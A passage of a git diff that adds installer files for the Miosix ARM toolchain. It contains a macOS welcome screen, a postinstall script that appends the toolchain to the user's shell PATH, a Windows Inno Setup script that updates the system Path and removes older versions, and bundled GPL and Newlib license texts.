form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(33) - Daniel Eischen (targets using libc/posix) + + Copyright (c) 2001 Daniel Eischen . + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(34) - Jon Beniston (only lm32-* targets) + + Contributed by Jon Beniston + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(35) - ARM Ltd (arm and thumb variant targets only) + + Copyright (c) 2009 ARM Ltd + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of the company may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY ARM LTD ``AS IS'' AND ANY EXPRESS OR IMPLIED + WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + IN NO EVENT SHALL ARM LTD BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(36) - Xilinx, Inc. (microblaze-* and powerpc-* targets) + +Copyright (c) 2004, 2009 Xilinx, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of Xilinx nor the names of its contributors may be +used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +(37) Texas Instruments Incorporated (tic6x-* targets) + +Copyright (c) 1996-2010 Texas Instruments Incorporated +http://www.ti.com/ + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + Neither the name of Texas Instruments Incorporated nor the names + of its contributors may be used to endorse or promote products + derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(38) National Semiconductor (cr16-* and crx-* targets) + +Copyright (c) 2004 National Semiconductor Corporation + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(39) - Adapteva, Inc. (epiphany-* targets) + +Copyright (c) 2011, Adapteva, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of Adapteva nor the names of its contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=== mx-postlinker License === + +Copyright (C) 2012 by Luigi Rucco and Terraneo Federico + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + + This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, see diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Resources/welcome.rtf b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Resources/welcome.rtf new file mode 100644 index 000000000..39df85285 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Resources/welcome.rtf @@ -0,0 +1,39 @@ +{\rtf1\ansi\ansicpg1252\cocoartf2822 +\cocoatextscaling0\cocoaplatform0{\fonttbl\f0\fswiss\fcharset0 Helvetica-Bold;\f1\fswiss\fcharset0 Helvetica;\f2\fmodern\fcharset0 Courier; +\f3\fswiss\fcharset0 Helvetica-Oblique;} +{\colortbl;\red255\green255\blue255;} +{\*\expandedcolortbl;;} +{\*\listtable{\list\listtemplateid1\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace360\levelindent0{\*\levelmarker \{disc\}}{\leveltext\leveltemplateid1\'01\uc0\u8226 ;}{\levelnumbers;}\fi-360\li720\lin720 }{\listname ;}\listid1}} +{\*\listoverridetable{\listoverride\listid1\listoverridecount0\ls1}} +\paperw11900\paperh16840\margl1440\margr1440\vieww13100\viewh10880\viewkind0 +\pard\tx686\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\pardirnatural\partightenfactor0 + +\f0\b\fs28 \cf0 Miosix Toolchain for macOS\ + +\fs24 (GCC 15.2.0-mp4.2) +\f1\b0 \ +\ +This package will install the following components to the " +\f2 \\opt\\arm-miosix-eabi +\f1 " directory:\ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\li720\fi-720\pardirnatural\partightenfactor0 +\ls1\ilvl0\cf0 {\listtext \uc0\u8226 }GNU GCC with Miosix-specific patches\ +{\listtext \uc0\u8226 }GNU Binutils\ +{\listtext \uc0\u8226 }GNU GDB\ +{\listtext \uc0\u8226 }GNU Make\ +{\listtext \uc0\u8226 }Newlib\ +{\listtext \uc0\u8226 }lpc21isp\ +{\listtext \uc0\u8226 }mx-postlinker\ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\li720\fi-720\pardirnatural\partightenfactor0 +\cf0 \ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\pardirnatural\partightenfactor0 +\cf0 It will also update the current user's shell profile script in order to add " +\f2 \\opt\\arm-miosix-eabi\\bin +\f1 " to the PATH (only if the user's shell is +\f3\i bash +\f1\i0 , +\f3\i zsh +\f1\i0 or +\f3\i tcsh +\f1\i0 ).\ +} diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/ScriptsTemplates/postinstall b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/ScriptsTemplates/postinstall new file mode 100644 index 000000000..39fd27f5a --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/ScriptsTemplates/postinstall @@ -0,0 +1,83 @@ +#!/bin/bash + +# The following script is inspired by the one used by macports, so credit +# to them for figuring out how to detect and handle each different shell. +# It is tradition for macOS power users to use a shell of their own liking +# and Apple itself has switched from bash to zsh in macOS 10.15 so we must +# take that into account. + +PREFIX= +BINPATH=${PREFIX}/bin +DSCL=/usr/bin/dscl + +fail() +{ + echo "$1" + exit 0 +} + +echo 'Modifying PATH for current user.' + +# Determine the user's shell, in order to choose an appropriate configuration file we'll be tweaking. +# Exit nicely if the shell is any other than bash or tcsh, as that's considered non-standard. +USHELL=$(${DSCL} . -read "/Users/${USER}" shell) || fail "error: could not determine shell name!" +# leave full path to shell +USHELL=${USHELL#*shell: } + +case "${USHELL}" in + */tcsh) + echo "Detected tcsh" + ENV_COMMAND="setenv" + ASSIGN=" " + if [[ -f "${HOME}/.tcshrc" ]]; then + CONF_FILE=tcshrc + elif [[ -f "${HOME}/.cshrc" ]]; then + CONF_FILE=cshrc + else + CONF_FILE=tcshrc + fi + ;; + */bash) + echo "Detected bash" + ENV_COMMAND="export" + ASSIGN="=" + if [[ -f "${HOME}/.bash_profile" ]]; then + CONF_FILE=bash_profile + elif [[ -f "${HOME}/.bash_login" ]]; then + CONF_FILE=bash_login + else + CONF_FILE=profile + fi + ;; + */zsh) + echo "Detected zsh" + ENV_COMMAND="export" + ASSIGN="=" + CONF_FILE="zprofile" + ;; + *) + fail "error: unknown shell ($USHELL)!" + ;; +esac + +# Adding our setting to the PATH variable if not already there: +# Run as the $USER: /usr/bin/su $USER -l +# Run a command in the shell: -c "/usr/bin/printenv PATH" +# Only process the last line output (profile may print info): tail -n 1 +# Output each path on its own line: tr ":" "\n" +# Look for exactly the BINPATH: grep "^${BINPATH}$" +if /usr/bin/su "${USER}" -l -c "/usr/bin/printenv PATH" | tail -n 1 | tr ":" "\n" | grep "^${BINPATH}$" > /dev/null; then + echo "Your shell already has the right PATH environment variable!" + exit 0 +fi + +if [[ -f "${HOME}/.${CONF_FILE}" ]]; then + echo "Backing up ${HOME}/.${CONF_FILE} to ${HOME}/.${CONF_FILE}.tmp" + /bin/cp -fp "${HOME}/.${CONF_FILE}" "${HOME}/.${CONF_FILE}.tmp" || fail 'Could not backup profile' +fi +{ + echo -e "# Miosix toolchain PATH addition" + echo "${ENV_COMMAND} PATH${ASSIGN}${BINPATH}:\$PATH" +} >> "${HOME}/.${CONF_FILE}" +chown "${USER}" "${HOME}/.${CONF_FILE}" || echo "warning: unable to fix permissions on ${HOME}/.${CONF_FILE}!" +echo "Modification of user PATH completed." diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/MiosixInstaller.iss b/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/MiosixInstaller.iss new file mode 100644 index 000000000..5d1c1f2c5 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/MiosixInstaller.iss @@ -0,0 +1,136 @@ + +#define MyAppName "Miosix Toolchain" +#define MyAppVersion "GCC 15.2.0mp4.2" +#define MyAppURL "https://miosix.org" +#define MyAppGUID "{{5270879A-9707-4BCB-930F-2FC7B5621061}" + +[Setup] +; NOTE: The value of AppId uniquely identifies this application. +; Do not use the same AppId value in installers for other applications. +AppId={#MyAppGUID} +AppName={#MyAppName} +AppVersion={#MyAppVersion} +AppPublisherURL={#MyAppURL} +AppSupportURL={#MyAppURL} +AppUpdatesURL={#MyAppURL} +DefaultDirName=C:\arm-miosix-eabi +; Forcefully install in this directory (GCC hates having spaces in the path) +DisableDirPage=yes +DefaultGroupName={#MyAppName} +; Allow user to disable adding stuff to the start menu +AllowNoIcons=yes +; Produce an installer named MiosixToolchainInstaller15.2.0mp4.2.exe +OutputBaseFilename=MiosixToolchainInstaller15.2.0mp4.2 +Compression=lzma +; Compress everything into one lzma stream +SolidCompression=yes +LicenseFile=license.txt +; The change in %PATH% takes effect after a restart +AlwaysRestart=yes + +[Languages] +Name: "english"; MessagesFile: "compiler:Default.isl" + +[Files] +; Source is where the InnoSetup compiler finds the directory to install +Source: "..\..\dist\opt\arm-miosix-eabi\*"; DestDir: "{app}"; Flags: ignoreversion recursesubdirs createallsubdirs +; NOTE: Don't use "Flags: ignoreversion" on any shared system files + +[Icons] +; Add stuff to the start menu +Name: "{group}\{cm:UninstallProgram,{#MyAppName}}"; Filename: "{uninstallexe}" + +; Add C:\arm-miosix-eabi to %PATH%, found on stackoverflow +; http://stackoverflow.com/questions/3304463/how-do-i-modify-the-path-environment-variable-when-running-an-inno-setup-install + +[Registry] +Root: HKLM; Subkey: "SYSTEM\CurrentControlSet\Control\Session Manager\Environment"; \ + ValueType: expandsz; ValueName: "Path"; ValueData: "{olddata};C:\arm-miosix-eabi\bin"; \ + Check: NeedsAddPath('C:\arm-miosix-eabi\bin') + +[Code] + +function NeedsAddPath(Param: string): boolean; +var + OrigPath: string; +begin + if not RegQueryStringValue(HKLM,'SYSTEM\CurrentControlSet\Control\Session Manager\Environment','Path', OrigPath) + then begin + Result := True; + exit; + end; + // look for the path with leading and trailing semicolon + Result := Pos(';' + UpperCase(Param) + ';', ';' + UpperCase(OrigPath) + ';') = 0; +end; + +// Make the installer uninstall the previous version +// http://stackoverflow.com/questions/2000296/innosetup-how-to-automatically-uninstall-previous-installed-version + +function FindUninstaller(): String; +var + UnistallerRegKey1: String; + UnistallerRegKey2: String; +begin + // The uninstaller path can be in four places, according to stackoverflow + UnistallerRegKey1 := ExpandConstant('Software\Microsoft\Windows\CurrentVersion\Uninstall\{#emit SetupSetting("AppId")}_is1'); + UnistallerRegKey2 := ExpandConstant('Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{#emit SetupSetting("AppId")}_is1'); + if RegQueryStringValue(HKLM, UnistallerRegKey1, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKCU, UnistallerRegKey1, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKLM, UnistallerRegKey2, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKCU, UnistallerRegKey2, 'UninstallString', Result) then + begin + Exit; + end; + Result := ''; +end; + +function InitializeSetup(): Boolean; +var + Uninstaller : String; + ResultCode: Integer; + i: Integer; +begin + // FileExists doesn't like quotes + Uninstaller := RemoveQuotes(FindUninstaller()); + Log('Uninstaller variable is set to "'+Uninstaller+'"'); + if not FileExists(Uninstaller) then + begin + Result := True; + Exit; + end; + if MsgBox('A previous version is already installed. Replace it?', mbInformation, MB_YESNO) <> IDYES then + begin + Result := False; + Exit; + end; + if Exec(Uninstaller, '/SILENT /NORESTART /SUPPRESSMSGBOXES','', SW_SHOW, ewWaitUntilTerminated, ResultCode) = False then + begin + MsgBox('Error: the uninstaller failed', mbError, MB_OK); + Result := False; + Exit; + end; + // Workaround for "the uninstaller returns before the uninstaller is deleted" + // http://stackoverflow.com/questions/18902060/disk-caching-issue-with-inno-setup + i := 0; + repeat + Sleep(500); + i := i + 1; + until not FileExists(Uninstaller) or (i >= 30); + if (i >= 30) then + begin + MsgBox('Error: the previous uninstaller was not deleted', mbError, MB_OK); + Result := False; + Exit; + end; + Log('Uninstaller completed'); + Result := True; +end; diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/license.txt b/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/license.txt new file mode 100644 index 000000000..090556e53 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/license.txt @@ -0,0 +1,1769 @@ +The following installer will install: +GNU GCC with Miosix-specific patches +GNU Binutils +GNU GDB +GNU Make +Newlib +mx-postlinker + +=== GCC, Binutils, GDB, Make License === + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. 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Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. 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If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. + +=== Newlib License === + +The newlib subdirectory is a collection of software from several sources. + +Each file may have its own copyright/license that is embedded in the source +file. Unless otherwise noted in the body of the source file(s), the following copyright +notices will apply to the contents of the newlib subdirectory: + +(1) Red Hat Incorporated + +Copyright (c) 1994-2009 Red Hat, Inc. All rights reserved. + +This copyrighted material is made available to anyone wishing to use, +modify, copy, or redistribute it subject to the terms and conditions +of the BSD License. This program is distributed in the hope that +it will be useful, but WITHOUT ANY WARRANTY expressed or implied, +including the implied warranties of MERCHANTABILITY or FITNESS FOR +A PARTICULAR PURPOSE. A copy of this license is available at +http://www.opensource.org/licenses. Any Red Hat trademarks that are +incorporated in the source code or documentation are not subject to +the BSD License and may only be used or replicated with the express +permission of Red Hat, Inc. + +(2) University of California, Berkeley + +Copyright (c) 1981-2000 The Regents of the University of California. +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of the University nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGE. + +(3) David M. Gay (AT&T 1991, Lucent 1998) + +The author of this software is David M. Gay. + +Copyright (c) 1991 by AT&T. + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR AT&T MAKES ANY +REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY +OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +------------------------------------------------------------------- + +The author of this software is David M. Gay. + +Copyright (C) 1998-2001 by Lucent Technologies +All Rights Reserved + +Permission to use, copy, modify, and distribute this software and +its documentation for any purpose and without fee is hereby +granted, provided that the above copyright notice appear in all +copies and that both that the copyright notice and this +permission notice and warranty disclaimer appear in supporting +documentation, and that the name of Lucent or any of its entities +not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY +SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF +THIS SOFTWARE. + + +(4) Advanced Micro Devices + +Copyright 1989, 1990 Advanced Micro Devices, Inc. + +This software is the property of Advanced Micro Devices, Inc (AMD) which +specifically grants the user the right to modify, use and distribute this +software provided this notice is not removed or altered. All other rights +are reserved by AMD. + +AMD MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO THIS +SOFTWARE. IN NO EVENT SHALL AMD BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL +DAMAGES IN CONNECTION WITH OR ARISING FROM THE FURNISHING, PERFORMANCE, OR +USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the 29K Technical Support Center at +800-29-29-AMD (800-292-9263) in the USA, or 0800-89-1131 in the UK, or +0031-11-1129 in Japan, toll free. The direct dial number is 512-462-4118. + +Advanced Micro Devices, Inc. +29K Support Products +Mail Stop 573 +5900 E. Ben White Blvd. +Austin, TX 78741 +800-292-9263 + +(5) + +(6) + +(7) Sun Microsystems + +Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + +Developed at SunPro, a Sun Microsystems, Inc. business. +Permission to use, copy, modify, and distribute this +software is freely granted, provided that this notice is preserved. + +(8) Hewlett Packard + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(9) Hans-Peter Nilsson + +Copyright (C) 2001 Hans-Peter Nilsson + +Permission to use, copy, modify, and distribute this software is +freely granted, provided that the above copyright notice, this notice +and the following disclaimer are preserved with no changes. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR +IMPLIED 